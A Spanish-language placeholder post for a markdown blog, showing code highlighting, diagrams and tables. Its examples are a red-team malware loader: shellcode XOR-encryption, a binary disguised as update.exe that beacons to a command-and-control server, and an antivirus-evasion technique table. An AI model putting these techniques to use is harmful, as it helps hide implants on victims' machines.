Bienvenido
Esto es un post de ejemplo para que veas cómo renderiza el blog. Reemplaza este archivo por los .md que quieras publicar y ajusta posts.json para que aparezcan en la home.
Soporta syntax highlighting
fn main() {
let target: &str = "AdaptixServer:443";
println!("[loader] connecting to {}", target);
}# builder.sh stage: encrypt shellcode
key = 0xAB
with open("agent.x64.bin", "rb") as f:
data = f.read()
with open("shellcode.enc", "wb") as f:
f.write(bytes(b ^ key for b in data))# Run on the dev Windows VM
update.debug.exe --debug 2>&1 | grep '\[loader\]'Soporta Mermaid
flowchart LR
A[agent.x64.bin] -->|XOR 0xAB| B[shellcode.enc]
B -->|include_bytes!| C[main.rs]
C -->|cargo build| D[update.exe]
D -->|run| E[Beacon HTTPS 443]
E <-->|callback| F[AdaptixServer]Soporta callouts Obsidian
noteSe renderiza como un bloque con borde azul y fondo translúcido. Útil para anotaciones rápidas.
Los callouts soportan negrita, cursiva, código inline y listas dentro.
- item 1
- item 2
El debug build (--debug) NO debe llegar a producción. Haltea antes de activar el beacon.
Los callouts soportan casi todos los tipos de Obsidian: note, tip, info, warning, danger, important, example, quote, question, success, bug, fail.
Tablas
| Técnica | Esfuerzo | Stealth gain | Estado |
|---|---|---|---|
| Self-injection | low | small | shipped |
| Rolling XOR | low | small | shipped |
| Process hollowing | high | big | planned |
| Indirect syscalls | high | big | planned |
Listas y tareas
- Crear estructura del blog
- Render MD con marked
- Soporte Mermaid
- Callouts Obsidian
- Publicar el primer writeup real
Inline code y formato
Una llamada típica al loader: builder.sh agent.x64.bin update.exe. El binario final mide ~80KB y queda en target/x86_64-pc-windows-gnu/release/update.exe.
[loader] burn: ok
[loader] alloc: ok
[loader] decrypt: ok
[loader] protect: ok
[loader] halt: okSi llegaste hasta aquí, ya tienes el blog funcionando. Edita este .md, añade el archivo a posts.json y refresca.